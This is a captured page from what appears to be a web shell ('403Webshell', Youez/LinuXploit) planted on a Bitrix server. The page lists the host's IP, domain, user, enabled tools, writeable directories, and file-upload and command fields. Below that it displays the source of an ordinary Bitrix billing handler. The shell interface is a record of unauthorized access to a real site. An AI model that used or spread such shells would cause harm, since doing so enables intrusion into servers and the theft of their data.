403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/sale/handlers/paysystem/billen/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/ilovecveti.ru/bitrix/modules/sale/handlers/paysystem/billen/handler.php
<?php

namespace Sale\Handlers\PaySystem;

use Bitrix\Main\Localization\Loc;
use Bitrix\Sale;
use Bitrix\Sale\PaySystem;
use Bitrix\Main\Loader;

PaySystem\Manager::includeHandler('Bill');
Loc::loadMessages(__FILE__);

/**
 * Class BillEnHandler
 * @package Sale\Handlers\PaySystem
 */
class BillEnHandler extends BillHandler
{
	/**
	 * @return array
	 * @throws \Bitrix\Main\LoaderException
	 * @throws \Bitrix\Main\ObjectException
	 */
	public function getDemoParams()
	{
		$data = parent::getDemoParams();

		$data['CURRENCY'] = 'USD';
		$data['BUYER_PERSON_COMPANY_PHONE'] = '+1 234 567-89-00';
		$data['SELLER_COMPANY_PHONE'] = '+1 234 567-89-11';
		$data['BILLEN_COMMENT1'] = Loc::getMessage('SALE_HPS_BILL_EN_COMMENT');
		$data['BILLEN_COMMENT2'] = Loc::getMessage('SALE_HPS_BILL_EN_COMMENT_ADD');

		foreach ($data['BASKET_ITEMS'] as $i => $item)
		{
			$data['BASKET_ITEMS'][$i]['CURRENCY'] = 'USD';
		}

		return $data;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit